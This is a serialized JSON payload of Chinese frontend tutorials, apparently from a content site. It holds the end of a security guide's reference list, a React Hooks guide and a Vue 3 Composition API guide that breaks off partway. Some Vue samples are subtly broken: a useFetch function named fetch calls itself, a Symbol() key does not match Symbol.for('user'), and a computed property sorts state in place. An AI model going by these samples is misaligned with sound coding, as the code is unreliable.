SRI、沙箱化、监控",{"type":24,"tag":37,"props":453,"children":454},{},[455],{"type":24,"tag":351,"props":456,"children":457},{},[458],{"type":30,"value":459},"记住：安全是持续的过程，需要定期审计和更新。",{"type":24,"tag":25,"props":461,"children":463},{"id":462},"参考资源",[464],{"type":30,"value":462},{"type":24,"tag":466,"props":467,"children":468},"ul",{},[469,481,491,501],{"type":24,"tag":403,"props":470,"children":471},{},[472],{"type":24,"tag":473,"props":474,"children":478},"a",{"href":475,"rel":476},"https://owasp.org/www-project-top-ten/",[477],"nofollow",[479],{"type":30,"value":480},"OWASP Top 10",{"type":24,"tag":403,"props":482,"children":483},{},[484],{"type":24,"tag":473,"props":485,"children":488},{"href":486,"rel":487},"https://developer.mozilla.org/en-US/docs/Web/Security",[477],[489],{"type":30,"value":490},"MDN Web Security",{"type":24,"tag":403,"props":492,"children":493},{},[494],{"type":24,"tag":473,"props":495,"children":498},{"href":496,"rel":497},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[477],[499],{"type":30,"value":500},"Content Security Policy",{"type":24,"tag":403,"props":502,"children":503},{},[504],{"type":24,"tag":473,"props":505,"children":508},{"href":506,"rel":507},"https://github.com/cure53/DOMPurify",[477],[509],{"type":30,"value":510},"DOMPurify",{"title":7,"searchDepth":512,"depth":512,"links":513},3,[514,516,517,520,525,529,533,537,541,545,549,552,553,554],{"id":27,"depth":515,"text":27},2,{"id":33,"depth":515,"text":33},{"id":44,"depth":515,"text":44,"children":518},[519],{"id":50,"depth":512,"text":50},{"id":65,"depth":515,"text":68,"children":521},[522,523,524],{"id":71,"depth":512,"text":74},{"id":88,"depth":512,"text":91},{"id":103,"depth":512,"text":106},{"id":118,"depth":515,"text":121,"children":526},[527,528],{"id":124,"depth":512,"text":127},{"id":139,"depth":512,"text":142},{"id":154,"depth":515,"text":154,"children":530},[531,532],{"id":159,"depth":512,"text":159},{"id":175,"depth":512,"text":175},{"id":189,"depth":515,"text":189,"children":534},[535,536],{"id":194,"depth":512,"text":194},{"id":208,"depth":512,"text":208},{"id":222,"depth":515,"text":222,"children":538},[539,540],{"id":227,"depth":512,"text":227},{"id":241,"depth":512,"text":241},{"id":255,"depth":515,"text":258,"children":542},[543,544],{"id":261,"depth":512,"text":264},{"id":276,"depth":512,"text":279},{"id":291,"depth":515,"text":291,"children":546},[547,548],{"id":296,"depth":512,"text":296},{"id":310,"depth":512,"text":313},{"id":325,"depth":515,"text":325,"children":550},[551],{"id":330,"depth":512,"text":330},{"id":344,"depth":515,"text":344},{"id":390,"depth":515,"text":390},{"id":462,"depth":515,"text":462},"markdown","content:topics:frontend:frontend-security-guide.md","content","topics/frontend/frontend-security-guide.md","topics/frontend/frontend-security-guide","md",[562,889,1201],{"_path":563,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":564,"description":565,"keywords":566,"image":572,"author":573,"date":574,"readingTime":575,"topic":5,"body":576,"_type":555,"_id":886,"_source":557,"_file":887,"_stem":888,"_extension":560},"/topics/frontend/react-hooks-guide","React Hooks 完全指南","全面讲解 React Hooks，包括内置钩子、自定义钩子和最佳实践",[567,568,569,570,571],"React","Hooks","自定义钩子","状态管理","函数组件","/images/topics/react-hooks-guide.jpg","AI Content Team","2025-12-08",23,{"type":21,"children":577,"toc":867},[578,583,588,594,600,609,615,624,630,639,645,651,660,666,675,681,690,696,705,710,716,725,730,742,770,781,809,814],{"type":24,"tag":25,"props":579,"children":581},{"id":580},"react-hooks-完全指南",[582],{"type":30,"value":564},{"type":24,"tag":37,"props":584,"children":585},{},[586],{"type":30,"value":587},"Hooks 改变了 React 的开发方式。本文全面讲解如何使用和创建 Hooks。",{"type":24,"tag":25,"props":589,"children":591},{"id":590},"内置-hooks",[592],{"type":30,"value":593},"内置 Hooks",{"type":24,"tag":48,"props":595,"children":597},{"id":596},"usestate-状态管理",[598],{"type":30,"value":599},"useState - 状态管理",{"type":24,"tag":54,"props":601,"children":604},{"className":602,"code":603,"language":78,"meta":7},[80],"import { useState } from 'react'\n\nfunction Counter() {\n  const [count, setCount] = useState(0)\n  const [name, setName] = useState('John')\n  const [user, setUser] = useState({\n    age: 30,\n    email: 'john@example.com',\n  })\n  \n  // 使用函数初始化状态（对于复杂初始值）\n  const [data, setData] = useState(() => {\n    console.log('初始化数据...')\n    return fetchInitialData() // 仅在首次渲染时调用\n  })\n  \n  return (\n    \u003Cdiv>\n      \u003Cp>计数: {count}\u003C/p>\n      \u003Cbutton onClick={() => setCount(count + 1)}>增加\u003C/button>\n      \n      {/* 函数式更新 */}\n      \u003Cbutton onClick={() => setCount(prev => prev + 1)}>\n        函数式增加\n      \u003C/button>\n      \n      {/* 更新对象 */}\n      \u003Cbutton onClick={() => setUser({ ...user, age: user.age + 1 })}>\n        增加年龄\n      \u003C/button>\n    \u003C/div>\n  )\n}\n",[605],{"type":24,"tag":59,"props":606,"children":607},{"__ignoreMap":7},[608],{"type":30,"value":603},{"type":24,"tag":48,"props":610,"children":612},{"id":611},"useeffect-副作用处理",[613],{"type":30,"value":614},"useEffect - 副作用处理",{"type":24,"tag":54,"props":616,"children":619},{"className":617,"code":618,"language":78,"meta":7},[80],"import { useState, useEffect } from 'react'\n\nfunction DataFetcher() {\n  const [data, setData] = useState(null)\n  const [loading, setLoading] = useState(true)\n  const [error, setError] = useState(null)\n  const [userId, setUserId] = useState(1)\n  \n  // 副作用 - 每次渲染后执行\n  useEffect(() => {\n    console.log('组件已挂载或已更新')\n  })\n  \n  // 挂载时执行一次\n  useEffect(() => {\n    console.log('组件已挂载')\n    \n    return () => {\n      console.log('组件已卸载')\n    }\n  }, [])\n  \n  // 当 userId 改变时执行\n  useEffect(() => {\n    let isMounted = true // 防止内存泄漏\n    \n    const fetchData = async () => {\n      setLoading(true)\n      try {\n        const response = await fetch(\\`/api/users/\\${userId}\\`)\n        const result = await response.json()\n        \n        if (isMounted) {\n          setData(result)\n        }\n      } catch (err) {\n        if (isMounted) {\n          setError(err)\n        }\n      } finally {\n        if (isMounted) {\n          setLoading(false)\n        }\n      }\n    }\n    \n    fetchData()\n    \n    // 清理函数\n    return () => {\n      isMounted = false\n    }\n  }, [userId])\n  \n  if (loading) return \u003Cp>加载中...\u003C/p>\n  if (error) return \u003Cp>错误: {error.message}\u003C/p>\n  \n  return \u003Cdiv>{data && JSON.stringify(data)}\u003C/div>\n}\n",[620],{"type":24,"tag":59,"props":621,"children":622},{"__ignoreMap":7},[623],{"type":30,"value":618},{"type":24,"tag":48,"props":625,"children":627},{"id":626},"usecontext-跨组件通信",[628],{"type":30,"value":629},"useContext - 跨组件通信",{"type":24,"tag":54,"props":631,"children":634},{"className":632,"code":633,"language":78,"meta":7},[80],"import { createContext, useContext, useState } from 'react'\n\n// 创建上下文\nconst ThemeContext = createContext()\n\n// 提供者组件\nfunction ThemeProvider({ children }) {\n  const [theme, setTheme] = useState('light')\n  \n  const toggleTheme = () => {\n    setTheme(prev => prev === 'light' ? 'dark' : 'light')\n  }\n  \n  const value = { theme, toggleTheme }\n  \n  return (\n    \u003CThemeContext.Provider value={value}>\n      {children}\n    \u003C/ThemeContext.Provider>\n  )\n}\n\n// 使用 Hook\nfunction useTheme() {\n  const context = useContext(ThemeContext)\n  \n  if (!context) {\n    throw new Error('useTheme 必须在 ThemeProvider 内使用')\n  }\n  \n  return context\n}\n\n// 组件使用\nfunction App() {\n  const { theme, toggleTheme } = useTheme()\n  \n  return (\n    \u003Cdiv style={{\n      background: theme === 'light' ? '#fff' : '#333',\n      color: theme === 'light' ? '#000' : '#fff',\n    }}>\n      \u003Cp>当前主题: {theme}\u003C/p>\n      \u003Cbutton onClick={toggleTheme}>切换主题\u003C/button>\n    \u003C/div>\n  )\n}\n\n// 使用\nexport default function Root() {\n  return (\n    \u003CThemeProvider>\n      \u003CApp />\n    \u003C/ThemeProvider>\n  )\n}\n",[635],{"type":24,"tag":59,"props":636,"children":637},{"__ignoreMap":7},[638],{"type":30,"value":633},{"type":24,"tag":25,"props":640,"children":642},{"id":641},"自定义-hooks",[643],{"type":30,"value":644},"自定义 Hooks",{"type":24,"tag":48,"props":646,"children":648},{"id":647},"uselocalstorage",[649],{"type":30,"value":650},"useLocalStorage",{"type":24,"tag":54,"props":652,"children":655},{"className":653,"code":654,"language":78,"meta":7},[80],"import { useState, useEffect } from 'react'\n\nfunction useLocalStorage(key, initialValue) {\n  // 从本地存储获取初始值\n  const [storedValue, setStoredValue] = useState(() => {\n    try {\n      const item = window.localStorage.getItem(key)\n      return item ? JSON.parse(item) : initialValue\n    } catch (error) {\n      console.error(error)\n      return initialValue\n    }\n  })\n  \n  // 当值改变时更新本地存储\n  const setValue = (value) => {\n    try {\n      const valueToStore = value instanceof Function ? value(storedValue) : value\n      setStoredValue(valueToStore)\n      window.localStorage.setItem(key, JSON.stringify(valueToStore))\n    } catch (error) {\n      console.error(error)\n    }\n  }\n  \n  return [storedValue, setValue]\n}\n\n// 使用\nfunction App() {\n  const [name, setName] = useLocalStorage('name', 'Guest')\n  \n  return (\n    \u003Cdiv>\n      \u003Cp>姓名: {name}\u003C/p>\n      \u003Cinput\n        value={name}\n        onChange={(e) => setName(e.target.value)}\n      />\n    \u003C/div>\n  )\n}\n",[656],{"type":24,"tag":59,"props":657,"children":658},{"__ignoreMap":7},[659],{"type":30,"value":654},{"type":24,"tag":48,"props":661,"children":663},{"id":662},"useasync-异步操作",[664],{"type":30,"value":665},"useAsync - 异步操作",{"type":24,"tag":54,"props":667,"children":670},{"className":668,"code":669,"language":78,"meta":7},[80],"import { useState, useEffect, useRef } from 'react'\n\nfunction useAsync(asyncFunction, immediate = true) {\n  const [status, setStatus] = useState('idle')\n  const [value, setValue] = useState(null)\n  const [error, setError] = useState(null)\n  \n  // 使用 ref 来防止无限循环\n  const executeRef = useRef(null)\n  \n  const execute = useRef(async () => {\n    setStatus('pending')\n    setValue(null)\n    setError(null)\n    \n    try {\n      const response = await asyncFunction()\n      setValue(response)\n      setStatus('success')\n      return response\n    } catch (error) {\n      setError(error)\n      setStatus('error')\n    }\n  })\n  \n  executeRef.current = execute.current\n  \n  useEffect(() => {\n    if (!immediate) return\n    \n    executeRef.current()\n  }, [immediate])\n  \n  return { execute: executeRef.current, status, value, error }\n}\n\n// 使用\nfunction UserProfile({ userId }) {\n  const { execute, status, value: user, error } = useAsync(\n    () => fetch(\\`/api/users/\\${userId}\\`).then(r => r.json()),\n    true\n  )\n  \n  if (status === 'pending') return \u003Cp>加载中...\u003C/p>\n  if (status === 'error') return \u003Cp>错误: {error?.message}\u003C/p>\n  if (status === 'success') return \u003Cp>用户: {user?.name}\u003C/p>\n  \n  return null\n}\n",[671],{"type":24,"tag":59,"props":672,"children":673},{"__ignoreMap":7},[674],{"type":30,"value":669},{"type":24,"tag":48,"props":676,"children":678},{"id":677},"usefetch-数据获取",[679],{"type":30,"value":680},"useFetch - 数据获取",{"type":24,"tag":54,"props":682,"children":685},{"className":683,"code":684,"language":78,"meta":7},[80],"import { useState, useEffect } from 'react'\n\nfunction useFetch(url, options = {}) {\n  const [data, setData] = useState(null)\n  const [loading, setLoading] = useState(true)\n  const [error, setError] = useState(null)\n  \n  useEffect(() => {\n    let isMounted = true\n    \n    const fetchData = async () => {\n      try {\n        const response = await fetch(url, {\n          method: 'GET',\n          ...options,\n        })\n        \n        if (!response.ok) {\n          throw new Error(\\`HTTP error! status: \\${response.status}\\`)\n        }\n        \n        const result = await response.json()\n        \n        if (isMounted) {\n          setData(result)\n          setError(null)\n        }\n      } catch (err) {\n        if (isMounted) {\n          setError(err)\n          setData(null)\n        }\n      } finally {\n        if (isMounted) {\n          setLoading(false)\n        }\n      }\n    }\n    \n    fetchData()\n    \n    return () => {\n      isMounted = false\n    }\n  }, [url, options])\n  \n  const refetch = async () => {\n    setLoading(true)\n    try {\n      const response = await fetch(url, options)\n      const result = await response.json()\n      setData(result)\n    } catch (err) {\n      setError(err)\n    } finally {\n      setLoading(false)\n    }\n  }\n  \n  return { data, loading, error, refetch }\n}\n\n// 使用\nfunction UserList() {\n  const { data: users, loading, error, refetch } = useFetch('/api/users')\n  \n  if (loading) return \u003Cp>加载中...\u003C/p>\n  if (error) return \u003Cp>错误: {error.message}\u003C/p>\n  \n  return (\n    \u003Cdiv>\n      \u003Cbutton onClick={refetch}>刷新\u003C/button>\n      \u003Cul>\n        {users?.map(user => (\n          \u003Cli key={user.id}>{user.name}\u003C/li>\n        ))}\n      \u003C/ul>\n    \u003C/div>\n  )\n}\n",[686],{"type":24,"tag":59,"props":687,"children":688},{"__ignoreMap":7},[689],{"type":30,"value":684},{"type":24,"tag":48,"props":691,"children":693},{"id":692},"useprevious-保存前一个值",[694],{"type":30,"value":695},"usePrevious - 保存前一个值",{"type":24,"tag":54,"props":697,"children":700},{"className":698,"code":699,"language":78,"meta":7},[80],"import { useEffect, useRef } from 'react'\n\nfunction usePrevious(value) {\n  const ref = useRef()\n  \n  useEffect(() => {\n    ref.current = value\n  }, [value])\n  \n  return ref.current\n}\n\n// 使用\nfunction Counter() {\n  const [count, setCount] = React.useState(0)\n  const prevCount = usePrevious(count)\n  \n  return (\n    \u003Cdiv>\n      \u003Cp>当前: {count}, 前一个: {prevCount}\u003C/p>\n      \u003Cbutton onClick={() => setCount(count + 1)}>增加\u003C/button>\n    \u003C/div>\n  )\n}\n",[701],{"type":24,"tag":59,"props":702,"children":703},{"__ignoreMap":7},[704],{"type":30,"value":699},{"type":24,"tag":25,"props":706,"children":708},{"id":707},"高级模式",[709],{"type":30,"value":707},{"type":24,"tag":48,"props":711,"children":713},{"id":712},"usereducer-复杂状态管理",[714],{"type":30,"value":715},"useReducer - 复杂状态管理",{"type":24,"tag":54,"props":717,"children":720},{"className":718,"code":719,"language":78,"meta":7},[80],"import { useReducer } from 'react'\n\nconst initialState = {\n  todos: [],\n  filter: 'all',\n  error: null,\n}\n\nfunction todoReducer(state, action) {\n  switch (action.type) {\n    case 'ADD_TODO':\n      return {\n        ...state,\n        todos: [...state.todos, { id: Date.now(), text: action.payload }],\n      }\n    \n    case 'REMOVE_TODO':\n      return {\n        ...state,\n        todos: state.todos.filter(todo => todo.id !== action.payload),\n      }\n    \n    case 'SET_FILTER':\n      return { ...state, filter: action.payload }\n    \n    case 'SET_ERROR':\n      return { ...state, error: action.payload }\n    \n    default:\n      return state\n  }\n}\n\nfunction TodoApp() {\n  const [state, dispatch] = useReducer(todoReducer, initialState)\n  \n  const addTodo = (text) => {\n    dispatch({ type: 'ADD_TODO', payload: text })\n  }\n  \n  const removeTodo = (id) => {\n    dispatch({ type: 'REMOVE_TODO', payload: id })\n  }\n  \n  return (\n    \u003Cdiv>\n      {state.todos.map(todo => (\n        \u003Cdiv key={todo.id}>\n          {todo.text}\n          \u003Cbutton onClick={() => removeTodo(todo.id)}>删除\u003C/button>\n        \u003C/div>\n      ))}\n    \u003C/div>\n  )\n}\n",[721],{"type":24,"tag":59,"props":722,"children":723},{"__ignoreMap":7},[724],{"type":30,"value":719},{"type":24,"tag":25,"props":726,"children":728},{"id":727},"最佳实践",[729],{"type":30,"value":727},{"type":24,"tag":37,"props":731,"children":732},{},[733,735,740],{"type":30,"value":734},"✅ ",{"type":24,"tag":351,"props":736,"children":737},{},[738],{"type":30,"value":739},"应该做的事",{"type":30,"value":741},":",{"type":24,"tag":466,"props":743,"children":744},{},[745,750,755,760,765],{"type":24,"tag":403,"props":746,"children":747},{},[748],{"type":30,"value":749},"将相关逻辑提取到自定义 Hooks",{"type":24,"tag":403,"props":751,"children":752},{},[753],{"type":30,"value":754},"在 useEffect 的依赖数组中包含所有依赖",{"type":24,"tag":403,"props":756,"children":757},{},[758],{"type":30,"value":759},"使用 useCallback 和 useMemo 优化性能",{"type":24,"tag":403,"props":761,"children":762},{},[763],{"type":30,"value":764},"为自定义 Hooks 编写文档",{"type":24,"tag":403,"props":766,"children":767},{},[768],{"type":30,"value":769},"及时清理副作用",{"type":24,"tag":37,"props":771,"children":772},{},[773,775,780],{"type":30,"value":774},"❌ ",{"type":24,"tag":351,"props":776,"children":777},{},[778],{"type":30,"value":779},"不应该做的事",{"type":30,"value":741},{"type":24,"tag":466,"props":782,"children":783},{},[784,789,794,799,804],{"type":24,"tag":403,"props":785,"children":786},{},[787],{"type":30,"value":788},"在条件或循环中调用 Hooks",{"type":24,"tag":403,"props":790,"children":791},{},[792],{"type":30,"value":793},"在普通函数中调用 Hooks",{"type":24,"tag":403,"props":795,"children":796},{},[797],{"type":30,"value":798},"忘记依赖数组",{"type":24,"tag":403,"props":800,"children":801},{},[802],{"type":30,"value":803},"过度使用 useMemo/useCallback",{"type":24,"tag":403,"props":805,"children":806},{},[807],{"type":30,"value":808},"在 Hooks 中创建过多的闭包",{"type":24,"tag":25,"props":810,"children":812},{"id":811},"检查清单",[813],{"type":30,"value":811},{"type":24,"tag":466,"props":815,"children":818},{"className":816},[817],"contains-task-list",[819,831,840,849,858],{"type":24,"tag":403,"props":820,"children":823},{"className":821},[822],"task-list-item",[824,829],{"type":24,"tag":825,"props":826,"children":828},"input",{"disabled":18,"type":827},"checkbox",[],{"type":30,"value":830}," Hooks 调用顺序正确",{"type":24,"tag":403,"props":832,"children":834},{"className":833},[822],[835,838],{"type":24,"tag":825,"props":836,"children":837},{"disabled":18,"type":827},[],{"type":30,"value":839}," 依赖数组完整",{"type":24,"tag":403,"props":841,"children":843},{"className":842},[822],[844,847],{"type":24,"tag":825,"props":845,"children":846},{"disabled":18,"type":827},[],{"type":30,"value":848}," 副作用正确清理",{"type":24,"tag":403,"props":850,"children":852},{"className":851},[822],[853,856],{"type":24,"tag":825,"props":854,"children":855},{"disabled":18,"type":827},[],{"type":30,"value":857}," 性能优化得当",{"type":24,"tag":403,"props":859,"children":861},{"className":860},[822],[862,865],{"type":24,"tag":825,"props":863,"children":864},{"disabled":18,"type":827},[],{"type":30,"value":866}," 代码易于理解和测试",{"title":7,"searchDepth":512,"depth":512,"links":868},[869,870,875,881,884,885],{"id":580,"depth":515,"text":564},{"id":590,"depth":515,"text":593,"children":871},[872,873,874],{"id":596,"depth":512,"text":599},{"id":611,"depth":512,"text":614},{"id":626,"depth":512,"text":629},{"id":641,"depth":515,"text":644,"children":876},[877,878,879,880],{"id":647,"depth":512,"text":650},{"id":662,"depth":512,"text":665},{"id":677,"depth":512,"text":680},{"id":692,"depth":512,"text":695},{"id":707,"depth":515,"text":707,"children":882},[883],{"id":712,"depth":512,"text":715},{"id":727,"depth":515,"text":727},{"id":811,"depth":515,"text":811},"content:topics:frontend:react-hooks-guide.md","topics/frontend/react-hooks-guide.md","topics/frontend/react-hooks-guide",{"_path":890,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":891,"description":892,"keywords":893,"image":899,"author":573,"date":574,"readingTime":900,"topic":5,"body":901,"_type":555,"_id":1198,"_source":557,"_file":1199,"_stem":1200,"_extension":560},"/topics/frontend/vue3-composition-api","Vue 3 Composition API 深度解析","全面讲解 Vue 3 Composition API 的用法、最佳实践和高级模式",[894,895,896,897,898],"Vue 3","Composition API","组合式函数","响应式系统","前端开发","/images/topics/vue3-composition-api.jpg",22,{"type":21,"children":902,"toc":1174},[903,908,913,918,924,933,938,947,951,956,965,970,976,985,990,996,1005,1010,1015,1024,1029,1035,1044,1048,1057,1085,1094,1122,1126],{"type":24,"tag":25,"props":904,"children":906},{"id":905},"vue-3-composition-api-深度解析",[907],{"type":30,"value":891},{"type":24,"tag":37,"props":909,"children":910},{},[911],{"type":30,"value":912},"Composition API 让 Vue 应用更易于组织和重用逻辑。本文深入讲解这一核心特性。",{"type":24,"tag":25,"props":914,"children":916},{"id":915},"核心概念",[917],{"type":30,"value":915},{"type":24,"tag":48,"props":919,"children":921},{"id":920},"setup-函数",[922],{"type":30,"value":923},"setup 函数",{"type":24,"tag":54,"props":925,"children":928},{"className":926,"code":927,"language":78,"meta":7},[80],"import { ref, computed, watch } from 'vue'\n\nexport default {\n  props: ['initialCount'],\n  emits: ['count-changed'],\n  \n  setup(props, { emit, slots, expose }) {\n    // 创建响应式状态\n    const count = ref(props.initialCount)\n    const doubled = computed(() => count.value * 2)\n    \n    // 监听状态变化\n    watch(count, (newVal, oldVal) => {\n      console.log(`Count changed from ${oldVal} to ${newVal}`)\n      emit('count-changed', newVal)\n    })\n    \n    // 定义方法\n    const increment = () => count.value++\n    const decrement = () => count.value--\n    \n    // 返回模板需要的内容\n    return {\n      count,\n      doubled,\n      increment,\n      decrement,\n    }\n  },\n}\n",[929],{"type":24,"tag":59,"props":930,"children":931},{"__ignoreMap":7},[932],{"type":30,"value":927},{"type":24,"tag":48,"props":934,"children":936},{"id":935},"响应式基础",[937],{"type":30,"value":935},{"type":24,"tag":54,"props":939,"children":942},{"className":940,"code":941,"language":78,"meta":7},[80],"import { ref, reactive, readonly, isRef } from 'vue'\n\n// ref - 用于基本类型\nconst count = ref(0)\nconsole.log(count.value) // 0\ncount.value++\n\n// reactive - 用于对象\nconst state = reactive({\n  name: 'John',\n  age: 30,\n  address: {\n    city: 'Beijing',\n  },\n})\n\nstate.name = 'Jane' // 自动更新，无需 .value\n\n// readonly - 创建只读副本\nconst original = reactive({ count: 0 })\nconst copy = readonly(original)\n// copy.count++ // 错误：不能修改\n\n// isRef 检查\nconsole.log(isRef(count)) // true\nconsole.log(isRef(state)) // false\n",[943],{"type":24,"tag":59,"props":944,"children":945},{"__ignoreMap":7},[946],{"type":30,"value":941},{"type":24,"tag":25,"props":948,"children":949},{"id":896},[950],{"type":30,"value":896},{"type":24,"tag":48,"props":952,"children":954},{"id":953},"创建可重用逻辑",[955],{"type":30,"value":953},{"type":24,"tag":54,"props":957,"children":960},{"className":958,"code":959,"language":78,"meta":7},[80],"// useCounter.js - 组合式函数\nimport { ref, computed } from 'vue'\n\nexport function useCounter(initialValue = 0) {\n  const count = ref(initialValue)\n  const doubled = computed(() => count.value * 2)\n  \n  const increment = () => count.value++\n  const decrement = () => count.value--\n  const reset = () => count.value = initialValue\n  \n  return {\n    count,\n    doubled,\n    increment,\n    decrement,\n    reset,\n  }\n}\n\n// useFetch.js - 数据获取组合式函数\nimport { ref, onMounted } from 'vue'\n\nexport function useFetch(url) {\n  const data = ref(null)\n  const loading = ref(false)\n  const error = ref(null)\n  \n  const fetch = async () => {\n    loading.value = true\n    error.value = null\n    \n    try {\n      const response = await fetch(url)\n      data.value = await response.json()\n    } catch (e) {\n      error.value = e\n    } finally {\n      loading.value = false\n    }\n  }\n  \n  onMounted(fetch)\n  \n  return {\n    data,\n    loading,\n    error,\n    refetch: fetch,\n  }\n}\n\n// 使用\nexport default {\n  setup() {\n    const { count, doubled, increment } = useCounter(10)\n    const { data, loading, refetch } = useFetch('/api/data')\n    \n    return {\n      count,\n      doubled,\n      increment,\n      data,\n      loading,\n      refetch,\n    }\n  },\n}\n",[961],{"type":24,"tag":59,"props":962,"children":963},{"__ignoreMap":7},[964],{"type":30,"value":959},{"type":24,"tag":25,"props":966,"children":968},{"id":967},"生命周期钩子",[969],{"type":30,"value":967},{"type":24,"tag":48,"props":971,"children":973},{"id":972},"composition-api-中的生命周期",[974],{"type":30,"value":975},"Composition API 中的生命周期",{"type":24,"tag":54,"props":977,"children":980},{"className":978,"code":979,"language":78,"meta":7},[80],"import {\n  onBeforeMount,\n  onMounted,\n  onBeforeUpdate,\n  onUpdated,\n  onBeforeUnmount,\n  onUnmounted,\n  onErrorCaptured,\n} from 'vue'\n\nexport default {\n  setup() {\n    onBeforeMount(() => {\n      console.log('组件挂载前')\n    })\n    \n    onMounted(() => {\n      console.log('组件已挂载')\n      // 初始化事件监听器、定时器等\n    })\n    \n    onBeforeUpdate(() => {\n      console.log('组件更新前')\n    })\n    \n    onUpdated(() => {\n      console.log('组件已更新')\n    })\n    \n    onBeforeUnmount(() => {\n      console.log('组件卸载前')\n    })\n    \n    onUnmounted(() => {\n      console.log('组件已卸载')\n      // 清理事件监听器、定时器等\n    })\n    \n    onErrorCaptured((err, instance, info) => {\n      console.log('捕获错误:', err)\n      return false // 返回 false 阻止错误传播\n    })\n    \n    return {}\n  },\n}\n",[981],{"type":24,"tag":59,"props":982,"children":983},{"__ignoreMap":7},[984],{"type":30,"value":979},{"type":24,"tag":25,"props":986,"children":988},{"id":987},"模板引用",[989],{"type":30,"value":987},{"type":24,"tag":48,"props":991,"children":993},{"id":992},"访问-dom-元素",[994],{"type":30,"value":995},"访问 DOM 元素",{"type":24,"tag":54,"props":997,"children":1000},{"className":998,"code":999,"language":78,"meta":7},[80],"import { ref, onMounted } from 'vue'\n\nexport default {\n  setup() {\n    const inputRef = ref(null)\n    const listRef = ref(null)\n    const dynamicRef = ref(null)\n    \n    onMounted(() => {\n      // 访问 DOM 元素\n      inputRef.value?.focus()\n      console.log(listRef.value?.offsetHeight)\n    })\n    \n    // 函数式引用\n    const assignRef = el => {\n      if (el) {\n        console.log('元素已赋值', el)\n      } else {\n        console.log('元素已移除')\n      }\n    }\n    \n    return {\n      inputRef,\n      listRef,\n      dynamicRef,\n      assignRef,\n    }\n  },\n  \n  template: \\`\n    \u003Cdiv>\n      \u003Cinput ref=\"inputRef\" />\n      \u003Cul ref=\"listRef\">\n        \u003Cli v-for=\"item in items\" :key=\"item\">{{ item }}\u003C/li>\n      \u003C/ul>\n      \u003Cdiv :ref=\"assignRef\">\u003C/div>\n    \u003C/div>\n  \\`,\n}\n",[1001],{"type":24,"tag":59,"props":1002,"children":1003},{"__ignoreMap":7},[1004],{"type":30,"value":999},{"type":24,"tag":25,"props":1006,"children":1008},{"id":1007},"依赖注入",[1009],{"type":30,"value":1007},{"type":24,"tag":48,"props":1011,"children":1013},{"id":1012},"跨组件共享数据",[1014],{"type":30,"value":1012},{"type":24,"tag":54,"props":1016,"children":1019},{"className":1017,"code":1018,"language":78,"meta":7},[80],"import { provide, inject, ref, readonly } from 'vue'\n\n// 父组件\nexport default {\n  setup() {\n    const theme = ref('light')\n    const user = ref({ name: 'John', role: 'admin' })\n    \n    // 提供数据给子组件\n    provide('theme', readonly(theme))\n    provide('updateTheme', (newTheme) => {\n      theme.value = newTheme\n    })\n    \n    // 使用 Symbol 作为 key 避免命名冲突\n    const userKey = Symbol()\n    provide(userKey, readonly(user))\n    \n    return {\n      theme,\n      updateTheme: (newTheme) => {\n        theme.value = newTheme\n      },\n    }\n  },\n}\n\n// 子组件\nexport default {\n  setup() {\n    // 注入数据\n    const theme = inject('theme')\n    const updateTheme = inject('updateTheme')\n    const user = inject(Symbol.for('user'))\n    \n    // 带默认值的注入\n    const config = inject('config', {\n      apiUrl: 'http://localhost:3000',\n    })\n    \n    return {\n      theme,\n      updateTheme,\n      user,\n      config,\n    }\n  },\n}\n",[1020],{"type":24,"tag":59,"props":1021,"children":1022},{"__ignoreMap":7},[1023],{"type":30,"value":1018},{"type":24,"tag":25,"props":1025,"children":1027},{"id":1026},"高级状态管理",[1028],{"type":30,"value":1026},{"type":24,"tag":48,"props":1030,"children":1032},{"id":1031},"创建小型-store",[1033],{"type":30,"value":1034},"创建小型 store",{"type":24,"tag":54,"props":1036,"children":1039},{"className":1037,"code":1038,"language":78,"meta":7},[80],"import { reactive, readonly, computed } from 'vue'\n\n// store.js - 不依赖 Pinia 的简单 store\nexport function createStore() {\n  const state = reactive({\n    items: [],\n    filter: 'all',\n    sortBy: 'date',\n  })\n  \n  const filteredItems = computed(() => {\n    let result = state.items\n    \n    if (state.filter !== 'all') {\n      result = result.filter(item => item.status === state.filter)\n    }\n    \n    if (state.sortBy === 'date') {\n      result.sort((a, b) => new Date(b.date) - new Date(a.date))\n    } else if (state.sortBy === 'name') {\n      result.sort((a, b) => a.name.localeCompare(b.name))\n    }\n    \n    return result\n  })\n  \n  const actions = {\n    addItem(item) {\n      state.items.push({ ...item, id: Date.now() })\n    },\n    \n    removeItem(id) {\n      state.items = state.items.filter(item => item.id !== id)\n    },\n    \n    updateItem(id, updates) {\n      const item = state.items.find(item => item.id === id)\n      if (item) {\n        Object.assign(item, updates)\n      }\n    },\n    \n    setFilter(filter) {\n      state.filter = filter\n    },\n    \n    setSortBy(sortBy) {\n      state.sortBy = sortBy\n    },\n  }\n  \n  return {\n    state: readonly(state),\n    filteredItems,\n    ...actions,\n  }\n}\n\n// 使用\nexport default {\n  setup() {\n    const store = createStore()\n    \n    const handleAdd = (item) => {\n      store.addItem(item)\n    }\n    \n    return {\n      items: store.filteredItems,\n      addItem: handleAdd,\n      setFilter: store.setFilter,\n    }\n  },\n}\n",[1040],{"type":24,"tag":59,"props":1041,"children":1042},{"__ignoreMap":7},[1043],{"type":30,"value":1038},{"type":24,"tag":25,"props":1045,"children":1046},{"id":727},[1047],{"type":30,"value":727},{"type":24,"tag":37,"props":1049,"children":1050},{},[1051,1052,1056],{"type":30,"value":734},{"type":24,"tag":351,"props":1053,"children":1054},{},[1055],{"type":30,"value":739},{"type":30,"value":741},{"type":24,"tag":466,"props":1058,"children":1059},{},[1060,1065,1070,1075,1080],{"type":24,"tag":403,"props":1061,"children":1062},{},[1063],{"type":30,"value":1064},"将相关逻辑组织在一起",{"type":24,"tag":403,"props":1066,"children":1067},{},[1068],{"type":30,"value":1069},"创建可重用的组合式函数",{"type":24,"tag":403,"props":1071,"children":1072},{},[1073],{"type":30,"value":1074},"使用 TypeScript 